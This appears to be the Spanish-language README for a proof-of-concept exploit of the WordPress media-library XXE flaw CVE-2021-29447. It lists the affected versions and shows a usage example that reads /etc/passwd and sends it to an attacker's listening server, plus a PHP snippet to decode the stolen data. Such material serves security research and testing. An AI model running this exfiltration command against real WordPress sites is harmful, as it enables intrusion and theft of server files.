
Un exploit de prueba de concepto para una vulnerabilidad de la biblioteca multimedia de wordpress 5.6
╔═╗╦ ╦╔═╗
║ ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Escrito por (Isa Ebrahim - 0xRar) en enero de 2023
═══════════════════════════════════════════════════════════════════════════
[*] Título: Problema de análisis XML en la librería multimedia de WordPress que conduce a XXE
[*] Versiones afectadas: Wordpress 5.6 - 5.7
[*] Versión parcheada: Wordpress 5.7.1
[*] Versión de instalación: PHP 8
═══════════════════════════════════════════════════════════════════════════
CVE-2021-29447: Un usuario con la capacidad de subir archivos (como un Autor) puede explotar un problema de análisis XML en la librería multimedia que conduce a ataques XXE. Esto requiere que la instalación de WordPress esté usando PHP 8. Es posible acceder a archivos internos en un ataque XXE exitoso. Esto ha sido parcheado en la versión 5.7.1 de WordPress, junto con las versiones afectadas anteriores a través de una versión menor.
Este script es fácil de entender y ejecutar, y automatizará los pasos necesarios para explotar el ataque XXE en la librería multimedia de WordPress.
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]
options:
-h, --help show this help message and exit
-l LHOST, --lhost LHOST your server ip address e.g. 10.0.2.15
-p PORT, --port PORT your server port e.g. 1337
-f FILE, --file FILE system file to read e.g. /etc/passwd
Ejemplo:
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
Para decodificar el base64 use/ejecute el siguiente fragmento de PHP:
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
$ php decode.php